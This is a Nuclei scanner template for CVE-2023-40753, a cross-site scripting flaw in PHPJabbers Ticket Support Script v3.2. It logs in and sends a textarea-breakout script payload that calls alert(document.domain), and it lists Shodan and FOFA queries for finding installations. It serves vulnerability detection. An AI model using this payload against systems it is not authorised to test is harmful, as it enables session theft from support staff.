CVE-2023-40753: PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting

id: CVE-2023-40753

info:
  name: PHPJabbers Ticket Support Script v3.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a Cross Site Scripting (XSS) vulnerability in the message parameter of index.php in PHPJabbers Ticket Support Script v3.2.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the message parameter in ticket notifications, potentially stealing support staff session cookies and accessing sensitive customer support tickets.
  remediation: |
    Update PHPJabbers Ticket Support Script to a version newer than 3.2 that properly sanitizes the message parameter and encodes output in notifications.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40753
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-40753
    cwe-id: CWE-79
    epss-score: 0.011
    epss-percentile: 0.63992
    cpe: cpe:2.3:a:phpjabbers:ticket_support_script:3.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: html:"PHPJabbers"
    fofa-query: body="PHPJabbers"
    vendor: phpjabbers
    product: ticket_support_script
  tags: cve,cve2023,phpjabbers,ticket-support-script,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /index.php?controller=pjBase&action=pjActionLogin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        login_user=1&login_email={{username}}&login_password={{password}}&login_captcha=

      - |
        GET /notification_create=1&type=NewTicket&department_id%5B%5D=2&user_id%5B%5D=1&i18n%5B1%5D%5Bsubject%5D=a&i18n%5B1%5D%5Bmessage%5D=%3C%2Ftextarea%3E%3CscrIpt%3Ealert(document.domain)%3B%3C%2FscRipt%3E%3Ctextarea%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "</textarea><scrIpt>alert(document.domain);</scRipt><textarea>"
          - "Subject"
          - "Recipient users"
        condition: and

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009700bffea94fe53e9612190f391ce16cfcb474e9bd3c633278bf468d42a7842e022061402f4d89915da7da06894ccbc033551904c49a420fff5ea015dbac4bd85faf:922c64590222798bb761d5b6d8e72950

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